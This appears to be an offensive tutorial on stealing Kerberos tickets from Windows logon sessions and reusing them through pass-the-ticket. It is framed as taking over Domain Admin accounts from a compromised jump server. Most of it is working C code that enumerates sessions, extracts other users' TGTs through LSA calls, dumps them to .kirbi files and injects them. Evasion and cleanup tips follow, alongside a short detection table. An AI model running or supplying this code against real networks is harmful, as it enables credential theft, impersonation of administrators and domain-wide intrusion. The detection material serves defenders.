Kerberos Ticket Extraction and Pass-the-Ticket
Enumerating all logon sessions, extracting TGT and TGS tickets from the LSA cache via KerbQueryTicketCacheEx2Message, exporting .kirbi format, injecting stolen tickets with KerbSubmitTicketMessage
You've compromised a jump server where multiple privileged administrators connect throughout the day. Each administrator's RDP session has live Kerberos TGTs cached in memory — tickets that allow authentication as that administrator to any service in the domain. You extract these TGTs from the LSA ticket cache, export them to .kirbi files, and inject them into your own logon session. Now you're authenticating as a Domain Admin without ever knowing their password or touching LSASS.
Kerberos Ticket Cache Architecture
Listing Tickets via KerbQueryTicketCacheEx2Message
#include <windows.h>
#include <ntsecapi.h>
#include <stdio.h>
#pragma comment(lib, "secur32.lib")
// Message type for listing tickets (ex2 includes session key info)
#define KERB_QUERY_TICKET_CACHE_EX2_MESSAGE 14
typedef struct _KERB_QUERY_TKT_CACHE_EX2_REQUEST {
KERB_PROTOCOL_MESSAGE_TYPE MessageType;
LUID LogonId; // 0 = current session, or target LUID
} KERB_QUERY_TKT_CACHE_EX2_REQUEST;
typedef struct _KERB_TICKET_CACHE_INFO_EX2 {
UNICODE_STRING ClientName;
UNICODE_STRING ClientRealm;
UNICODE_STRING ServerName;
UNICODE_STRING ServerRealm;
LARGE_INTEGER StartTime;
LARGE_INTEGER EndTime;
LARGE_INTEGER RenewUntil;
ULONG EncryptionType; // 18=AES-256, 23=RC4
ULONG TicketFlags;
ULONG SessionKeyType;
ULONG BranchId;
} KERB_TICKET_CACHE_INFO_EX2;
typedef struct _KERB_QUERY_TKT_CACHE_EX2_RESPONSE {
KERB_PROTOCOL_MESSAGE_TYPE MessageType;
ULONG CountOfTickets;
KERB_TICKET_CACHE_INFO_EX2 Tickets[1]; // variable length
} KERB_QUERY_TKT_CACHE_EX2_RESPONSE;
void ListTicketsForLUID(HANDLE lsaHandle, ULONG authPackage, LUID luid) {
KERB_QUERY_TKT_CACHE_EX2_REQUEST req = {
.MessageType = (KERB_PROTOCOL_MESSAGE_TYPE)KERB_QUERY_TICKET_CACHE_EX2_MESSAGE,
.LogonId = luid
};
KERB_QUERY_TKT_CACHE_EX2_RESPONSE *resp = NULL;
ULONG respLen = 0;
NTSTATUS subStatus;
NTSTATUS status = LsaCallAuthenticationPackage(
lsaHandle, authPackage, &req, sizeof(req),
(PVOID*)&resp, &respLen, &subStatus);
if (status != 0 || subStatus != 0) return;
printf(" Tickets in cache: %lu\n", resp->CountOfTickets);
for (ULONG i = 0; i < resp->CountOfTickets; i++) {
KERB_TICKET_CACHE_INFO_EX2 *t = &resp->Tickets[i];
// Is this a TGT? ServerName starts with "krbtgt/"
BOOL isTGT = (t->ServerName.Length >= 14 &&
wcsncmp(t->ServerName.Buffer, L"krbtgt/", 7) == 0);
wprintf(L" [%s] %.*s (%lu) → %.*s@%.*s etype:%lu flags:0x%08X\n",
isTGT ? L"TGT" : L"TGS",
t->ServerName.Length / 2, t->ServerName.Buffer,
i,
t->ClientName.Length / 2, t->ClientName.Buffer,
t->ClientRealm.Length / 2, t->ClientRealm.Buffer,
t->EncryptionType,
t->TicketFlags);
}
LsaFreeReturnBuffer(resp);
}
void ListAllSessions() {
HANDLE lsaHandle;
LsaConnectUntrusted(&lsaHandle);
LSA_STRING pkg = { (USHORT)strlen(MICROSOFT_KERBEROS_NAME_A),
(USHORT)(strlen(MICROSOFT_KERBEROS_NAME_A)+1),
MICROSOFT_KERBEROS_NAME_A };
ULONG authPackage;
LsaLookupAuthenticationPackage(lsaHandle, &pkg, &authPackage);
// Enumerate all logon sessions — requires SeDebugPrivilege for other users
ULONG sessionCount;
PLUID sessions;
LsaEnumerateLogonSessions(&sessionCount, &sessions);
printf("[*] Total logon sessions: %lu\n", sessionCount);
for (ULONG i = 0; i < sessionCount; i++) {
PSECURITY_LOGON_SESSION_DATA sessionData;
LsaGetLogonSessionData(&sessions[i], &sessionData);
if (sessionData) {
wprintf(L"\n[Session LUID=%08x:%08x] User: %.*s\\%.*s LogonType: %lu\n",
sessions[i].HighPart, sessions[i].LowPart,
sessionData->LogonDomain.Length / 2, sessionData->LogonDomain.Buffer,
sessionData->UserName.Length / 2, sessionData->UserName.Buffer,
sessionData->LogonType);
LsaFreeReturnBuffer(sessionData);
}
ListTicketsForLUID(lsaHandle, authPackage, sessions[i]);
}
LsaFreeReturnBuffer(sessions);
LsaClose(lsaHandle);
}
Extracting the Full Encoded Ticket Bytes
Listing tickets gives metadata only. To get the actual ticket bytes for export, use KerbRetrieveEncodedTicketMessage (message type 8) with the specific LUID and SPN — the same call used for Kerberoasting, but now with the target user's LUID instead of your own:
// Message type 6: KerbRetrieveTicketMessage (extracts from cache, no KDC contact)
// The difference from type 8 (KerbRetrieveEncodedTicket):
// type 6 = return existing cached ticket, don't request new
// type 8 = can request from KDC if not cached
#define KERB_RETRIEVE_TICKET_MESSAGE 6
#define KERB_RETRIEVE_ENCODED_TICKET_MESSAGE 8
#define KERB_RETRIEVE_TICKET_CACHE_ONLY 0x2 // CacheOptions: don't go to KDC
BOOL ExtractTicketForLUID(HANDLE lsaHandle, ULONG authPackage,
LUID targetLUID, const WCHAR *serverName,
BYTE **ticketBytes, ULONG *ticketSize) {
DWORD nameLen = (DWORD)(wcslen(serverName) * sizeof(WCHAR));
DWORD reqSize = sizeof(KERB_RETRIEVE_TKT_REQUEST) + nameLen + sizeof(WCHAR);
KERB_RETRIEVE_TKT_REQUEST *req = (KERB_RETRIEVE_TKT_REQUEST*)calloc(1, reqSize);
req->MessageType = (KERB_PROTOCOL_MESSAGE_TYPE)KERB_RETRIEVE_ENCODED_TICKET_MESSAGE;
req->LogonId = targetLUID; // ← key: specify target session
req->CacheOptions = KERB_RETRIEVE_TICKET_CACHE_ONLY; // cache only, no KDC
req->EncryptionType = 0; // 0 = whatever is cached
WCHAR *nameBuf = (WCHAR*)((BYTE*)req + sizeof(*req));
wcscpy_s(nameBuf, nameLen / sizeof(WCHAR) + 1, serverName);
req->TargetName.Buffer = nameBuf;
req->TargetName.Length = (USHORT)nameLen;
req->TargetName.MaximumLength = (USHORT)(nameLen + sizeof(WCHAR));
KERB_RETRIEVE_TKT_RESPONSE *resp = NULL;
ULONG respLen = 0;
NTSTATUS subStatus;
NTSTATUS status = LsaCallAuthenticationPackage(
lsaHandle, authPackage, req, reqSize,
(PVOID*)&resp, &respLen, &subStatus);
free(req);
if (status != 0 || subStatus != 0) return FALSE;
*ticketSize = resp->Ticket.EncodedTicketSize;
*ticketBytes = (BYTE*)malloc(*ticketSize);
memcpy(*ticketBytes, resp->Ticket.EncodedTicket, *ticketSize);
LsaFreeReturnBuffer(resp);
return TRUE;
}
Exporting Tickets to .kirbi Format
Cross-Session Ticket Extraction — The Full Attack
// Full attack: list all sessions as SYSTEM, find admin TGTs, extract them
// Requires: SeDebugPrivilege (or running as SYSTEM)
void StealAdminTGTs() {
// Elevate to SYSTEM for cross-session access
EnablePrivilege(SE_DEBUG_NAME); // opens SYSTEM token or adjusts debug priv
HANDLE lsaHandle;
LSA_STRING pkg = { (USHORT)strlen(MICROSOFT_KERBEROS_NAME_A),
(USHORT)strlen(MICROSOFT_KERBEROS_NAME_A) + 1,
MICROSOFT_KERBEROS_NAME_A };
ULONG authPkg;
LsaConnectUntrusted(&lsaHandle);
LsaLookupAuthenticationPackage(lsaHandle, &pkg, &authPkg);
ULONG sessionCount;
PLUID sessions;
LsaEnumerateLogonSessions(&sessionCount, &sessions);
for (ULONG i = 0; i < sessionCount; i++) {
PSECURITY_LOGON_SESSION_DATA sd;
LsaGetLogonSessionData(&sessions[i], &sd);
if (!sd) continue;
// Skip SYSTEM/LOCAL SERVICE/NETWORK SERVICE LUIDs
if (sessions[i].LowPart == 0x3e7 || sessions[i].LowPart == 0x3e4 ||
sessions[i].LowPart == 0x3e5) {
LsaFreeReturnBuffer(sd);
continue;
}
// Try to extract TGT (krbtgt SPN) for this session
WCHAR tgtSPN[256];
_snwprintf_s(tgtSPN, 256, _TRUNCATE,
L"krbtgt/%.*s",
sd->LogonDomain.Length / 2, sd->LogonDomain.Buffer);
BYTE *ticket = NULL;
ULONG ticketLen = 0;
if (ExtractTicketForLUID(lsaHandle, authPkg, sessions[i], tgtSPN, &ticket, &ticketLen)) {
wprintf(L"[+] Extracted TGT for %.*s\\%.*s LUID=%08x:%08x (%lu bytes)\n",
sd->LogonDomain.Length/2, sd->LogonDomain.Buffer,
sd->UserName.Length/2, sd->UserName.Buffer,
sessions[i].HighPart, sessions[i].LowPart,
ticketLen);
// Write raw ticket bytes to disk as .kirbi base (no ASN.1 wrapping in this example)
WCHAR fname[256];
_snwprintf_s(fname, 256, _TRUNCATE, L"%.*s_%08x.kirbi.raw",
sd->UserName.Length/2, sd->UserName.Buffer,
sessions[i].LowPart);
HANDLE hOut = CreateFileW(fname, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, 0, NULL);
DWORD written;
WriteFile(hOut, ticket, ticketLen, &written, NULL);
CloseHandle(hOut);
free(ticket);
}
LsaFreeReturnBuffer(sd);
}
LsaFreeReturnBuffer(sessions);
LsaClose(lsaHandle);
}
Pass-the-Ticket — Injecting a Stolen Ticket
Inject a .kirbi ticket into the current logon session using KerbSubmitTicketMessage (message type 21). After injection, any Kerberos authentication from this process will use the injected ticket — effectively impersonating the ticket's owner:
#define KERB_SUBMIT_TICKET_MESSAGE 21
typedef struct _KERB_SUBMIT_TKT_REQUEST {
KERB_PROTOCOL_MESSAGE_TYPE MessageType;
LUID LogonId; // 0 = current session
ULONG Flags;
ULONG Key; // key offset (0 for no session key)
ULONG KerbCredSize;
ULONG KerbCredOffset;
// Followed by: the raw KRB_CRED bytes
} KERB_SUBMIT_TKT_REQUEST;
BOOL PassTheTicket(const BYTE *krbCredBytes, ULONG krbCredLen) {
HANDLE lsaHandle;
ULONG authPkg;
LSA_STRING pkg = { (USHORT)strlen(MICROSOFT_KERBEROS_NAME_A),
(USHORT)strlen(MICROSOFT_KERBEROS_NAME_A)+1,
MICROSOFT_KERBEROS_NAME_A };
LsaConnectUntrusted(&lsaHandle);
LsaLookupAuthenticationPackage(lsaHandle, &pkg, &authPkg);
ULONG reqSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + krbCredLen;
KERB_SUBMIT_TKT_REQUEST *req = (KERB_SUBMIT_TKT_REQUEST*)calloc(1, reqSize);
req->MessageType = (KERB_PROTOCOL_MESSAGE_TYPE)KERB_SUBMIT_TICKET_MESSAGE;
req->KerbCredSize = krbCredLen;
req->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST);
// Credential bytes placed immediately after the struct
memcpy((BYTE*)req + sizeof(*req), krbCredBytes, krbCredLen);
PVOID respBuf = NULL;
ULONG respLen = 0;
NTSTATUS subStatus;
NTSTATUS status = LsaCallAuthenticationPackage(
lsaHandle, authPkg, req, reqSize, &respBuf, &respLen, &subStatus);
free(req);
LsaClose(lsaHandle);
if (status == 0 && subStatus == 0) {
printf("[+] Ticket injected successfully\n");
printf("[+] Run: dir \\\\fileserver\\share (authenticated as ticket owner)\n");
return TRUE;
}
printf("[-] Ticket injection failed: 0x%08X / 0x%08X\n", status, subStatus);
return FALSE;
}
TGT vs TGS — Attack Value Comparison
| Ticket Type | Content | How to Use | Lifetime |
|---|---|---|---|
| TGT (krbtgt/DOMAIN) | Encrypted with krbtgt hash; contains client identity + session key | Inject with PtT → request TGS for any service as the owner; most powerful | 10 hours default; renewable up to 7 days |
| TGS (cifs/server01) | Encrypted with target service's key; grants access to that specific service | Inject with PtT → authenticate to that one service; narrower scope | 10 hours default; not renewable |
| Silver Ticket (forged TGS) | Forged offline using service account's NT hash | Authenticate directly to a service without KDC involvement; undetectable at DC level | Set by forger (often 10+ years) |
| Golden Ticket (forged TGT) | Forged offline using krbtgt NT hash | Authenticate as any user to any service in the domain; full domain control | Set by forger (often 10+ years) |
A stolen TGT injected via KerbSubmitTicketMessage is bound to the LUID of the session you inject into. If you inject into your own session (LUID 0), the ticket is available to your process. If you want it isolated (so cleanup doesn't affect other sessions), create a sacrificial logon session with LsaLogonUser using anonymous credentials, get its LUID, inject the stolen ticket into that LUID, and then run your lateral movement tools in the context of that logon session. Rubeus's createnetonly flag does exactly this.
Detection
| Signal | Source | Notes |
|---|---|---|
| Event 4648 — Explicit credentials used (logon with alternate credentials) | Security Log | Pass-the-Ticket doesn't always trigger this; depends on usage path |
| LsaCallAuthenticationPackage calls to Kerberos with KerbSubmitTicketMessage | EDR / ETW Kerberos provider | High fidelity — rare for non-Kerberos client code to call this message type |
| Ticket used with source IP ≠ original machine that requested the TGT (Event 4768/4769 IP mismatch) | DC Security Log | DC-side anomaly: the same ticket authenticating from two different IPs in short succession |
| Kerberos ticket with unusual lifetime (Golden/Silver tickets often have 10+ year expiry) | DC Security Log / TGS validation | Event 4769 with ticket lifetime beyond domain policy is a strong signal |
| LsaEnumerateLogonSessions called from non-system process | EDR API hook | Unusual for user-space tools — typically only security products call this |
Q&A
If Credential Guard is enabled, can you still extract Kerberos tickets from LSA?
Credential Guard moves the LSA Isolated process (lsaiso.exe) to VTL1 (Secure Kernel). In this configuration, the NTLM hashes and Kerberos long-term keys (the actual NT hash used to decrypt TGTs) are stored in VTL1 memory — inaccessible to VTL0 code, including LSASS in VTL0. This means you cannot extract the krbtgt hash or service account NT hashes from LSASS even with full kernel access. However, the Kerberos ticket cache itself — the list of live TGTs and TGS tickets — is still managed by VTL0 LSASS. The tickets are in use, and the session key material needed to use them is in VTL0. This means KerbRetrieveEncodedTicketMessage still works and can extract the raw encoded ticket bytes. The tickets themselves are not protected by Credential Guard — only the long-term keys that would be needed to forge new tickets are. So Pass-the-Ticket attacks (steal and re-use existing tickets) still work even with Credential Guard enabled. What Credential Guard prevents is Pass-the-Hash and Golden Ticket creation (since the krbtgt hash is protected). This is a crucial distinction for detection engineering: Credential Guard does not eliminate Kerberos ticket theft attacks.
What is the difference between KerbPurgeTicketCacheMessage and manually replacing tickets?
KerbPurgeTicketCacheMessage (message type 3) removes tickets from the specified LUID's cache. You can call this to purge your own tickets, forcing re-authentication — useful in cleanup or in attack scenarios where you want to remove evidence of ticket manipulation from your own session. It does not remove tickets from other sessions (requires privilege to purge another LUID's cache). When attackers inject a stolen ticket with KerbSubmitTicketMessage, it is added to the cache alongside any existing tickets for the same service — the cache can hold multiple tickets for the same principal. If there's already a TGT in the cache, the injected one coexists. The LSA uses the newest ticket by default. To cleanly replace a ticket, purge first, then inject. Some detection heuristics look for KerbPurgeTicketCacheMessage followed immediately by KerbSubmitTicketMessage from the same process as an indicator of ticket manipulation. Rubeus's ptt command does NOT purge first — it simply injects alongside existing tickets, which is less detectable than purge-then-inject.